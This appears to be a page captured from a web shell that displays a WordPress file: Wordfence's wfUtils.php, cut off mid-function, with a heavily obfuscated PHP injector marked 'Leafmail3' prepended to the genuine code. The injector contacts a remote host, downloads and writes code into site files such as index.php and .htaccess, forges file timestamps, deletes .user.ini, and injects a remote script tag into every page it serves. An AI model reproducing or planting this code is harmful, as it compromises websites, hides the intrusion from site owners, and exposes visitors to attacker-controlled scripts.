[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.149.27.160: ~ $
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
require_once(dirname(__FILE__) . '/wfConfig.php');
class wfUtils {
	const DEFAULT_MAX_SERIALIZED_INPUT_LENGTH = 65536;
	const DEFAULT_MAX_SERIALIZED_ARRAY_LENGTH = 1024;
	const DEFAULT_MAX_SERIALIZED_ARRAY_DEPTH = 5;
	
	//Flags for wfUtils::parse_version
	const VERSION_MAJOR = 'major';
	const VERSION_MINOR = 'minor';
	const VERSION_PATCH = 'patch';
	const VERSION_PRE_RELEASE = 'pre-release';
	const VERSION_BUILD = 'build';
	
	//Flags for array_diff_assoc
	const ARRAY_DIFF_ORDERED_ARRAYS = 1; //When specified, non-associative arrays are treated as if the ordering matters. The default is to ignore the ordering and only care about the content
	
	private static $isWindows = false;
	public static $scanLockFH = false;
	private static $lastErrorReporting = false;
	private static $lastDisplayErrors = false;
	public static function patternToRegex($pattern, $mod = 'i', $sep = '/') {
		$pattern = preg_quote(trim($pattern), $sep);
		$pattern = str_replace(' ', '\s', $pattern);
		return $sep . '^' . str_replace('\*', '.*', $pattern) . '$' . $sep . $mod;
	}
	public static function versionedAsset($subpath) {
		$version = WORDFENCE_BUILD_NUMBER;
		if ($version != 'WORDFENCE_BUILD_NUMBER' && preg_match('/^(.+?)(\.[^\.]+)$/', $subpath, $matches)) {
			$prefix = $matches[1];
			$suffix = $matches[2];
			return $prefix . '.' . $version . $suffix;
		}
		
		return $subpath;
	}
	public static function makeTimeAgo($secs, $noSeconds = false) {
		if($secs < 1){
			return __("a moment", 'wordfence');
		}
		
		if (function_exists('date_diff')) {
			$now = new DateTime();
			$utc = new DateTimeZone('UTC');
			$dtStr = gmdate("c", (int) ($now->getTimestamp() + $secs)); //Have to do it this way because of PHP 5.2
			$then = new DateTime($dtStr, $utc);
			
			$diff = $then->diff($now);
			$years = $diff->y;
			$months = $diff->m;
			$days = $diff->d;
			$hours = $diff->h;
			$minutes = $diff->i;
		}
		else {
			$years = 0;
			$months = floor($secs / (86400 * 30));
			$days = floor($secs / 86400);
			$hours = floor($secs / 3600);
			$minutes = floor($secs / 60);
			
			if ($months) {
				$days -= $months * 30;
			}
			else if ($days) {
				$hours -= $days * 24;
			}
			else if ($hours) {
				$minutes -= $hours * 60;
			}
		}
		
		if ($years) {
			return $years . ' ' . _n('year', 'years', $years, 'wordfence') .
				(is_numeric($months) ? ' ' . $months . ' ' . _n('month', 'months', $months, 'wordfence') : '');
		}
		else if ($months) {
			return $months . ' ' . _n('month', 'months', $months, 'wordfence') .
				(is_numeric($days) ? ' ' . $days . ' ' . _n('day', 'days', $days, 'wordfence') : '');
		}
		else if ($days) {
			return $days . ' ' . _n('day', 'days', $days, 'wordfence') .
				(is_numeric($hours) ? ' ' . $hours . ' ' . _n('hour', 'hours', $hours, 'wordfence') : '');
		}
		else if ($hours) {
			return $hours . ' ' . _n('hour', 'hours', $hours, 'wordfence') .
				(is_numeric($minutes) ? ' ' . $minutes . ' ' . _n('minute', 'minutes', $minutes, 'wordfence') : '');
		}
		else if ($minutes) {
			return $minutes . ' ' . _n('minute', 'minutes', $minutes, 'wordfence');
		}
		else {
			if($noSeconds){
				return __("less than a minute", 'wordfence');
			} else {
				return sprintf(/* translators: Number of seconds. */ __("%d seconds", 'wordfence'), floor($secs));
			}
		}
	}
	public static function makeDuration($secs, $createExact = false) {
		$components = array();
		
		$months = floor($secs / (86400 * 30)); $secs -= $months * 86400 * 30;
		$days = floor($secs / 86400); $secs -= $days * 86400;
		$hours = floor($secs / 3600); $secs -= $hours * 3600;
		$minutes = floor($secs / 60); $secs -= $minutes * 60;
		
		if ($months) {
			$components[] = $months . ' ' . _n('month', 'months', $months, 'wordfence');
			if (!$createExact) {
				$hours = $minutes = $secs = 0;
			}
		}
		if ($days) {
			$components[] = $days . ' ' . _n('day', 'days', $days, 'wordfence');
			if (!$createExact) {
				$minutes = $secs = 0;
			}
		}
		if ($hours) {
			$components[] = $hours . ' ' . _n('hour', 'hours', $hours, 'wordfence');
			if (!$createExact) {
				$secs = 0;
			}
		}
		if ($minutes) {
			$components[] = $minutes . ' ' . _n('minute', 'minutes', $minutes, 'wordfence');
		}
		if ($secs && $secs >= 1) {
			$components[] = $secs . ' ' . _n('second', 'seconds', $secs, 'wordfence');
		}
		
		if (empty($components)) {
			$components[] = __('less than 1 second', 'wordfence');
		}
		
		return implode(' ', $components);
	}
	public static function pluralize($m1, $m1Singular, $m1Plural, $m2 = false, $m2Singular = false, $m2Plural = false) {
		$m1Text = _n($m1Singular, $m1Plural, $m1, 'wordfence');
		if (is_numeric($m2)) {
			$m2Text = _n($m2Singular, $m2Plural, $m2, 'wordfence');
			return "$m1 $m1Text $m2 $m2Text";
		} else {
			return "$m1 $m1Text";
		}
	}
	public static function formatBytes($bytes, $precision = 2) {
		$units = array('B', 'KB', 'MB', 'GB', 'TB');

		$bytes = max($bytes, 0);
		$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
		$pow = min($pow, count($units) - 1);

		// Uncomment one of the following alternatives
		$bytes /= pow(1024, $pow);
		// $bytes /= (1 << (10 * $pow)); 

		return round($bytes, $precision) . ' ' . $units[$pow];
	}
	
	/**
	 * Returns the PHP version formatted for display, stripping off the build information when present.
	 * 
	 * @return string
	 */
	public static function cleanPHPVersion() {
		$version = phpversion();
		if (preg_match('/^(\d+\.\d+\.\d+)/', $version, $matches)) {
			return $matches[1];
		}
		return $version;
	}
	
	/**
	 * Safe unserialize() replacement
	 * - accepts a strict subset of PHP's native serialized representation
	 * - does not unserialize objects
	 *
	 * @param string $str
	 * @return mixed
	 */
	public static function _safe_unserialize($str, $limit_input_length = self::DEFAULT_MAX_SERIALIZED_INPUT_LENGTH, $limit_array_length = self::DEFAULT_MAX_SERIALIZED_ARRAY_LENGTH, $limit_array_depth = self::DEFAULT_MAX_SERIALIZED_ARRAY_DEPTH) {
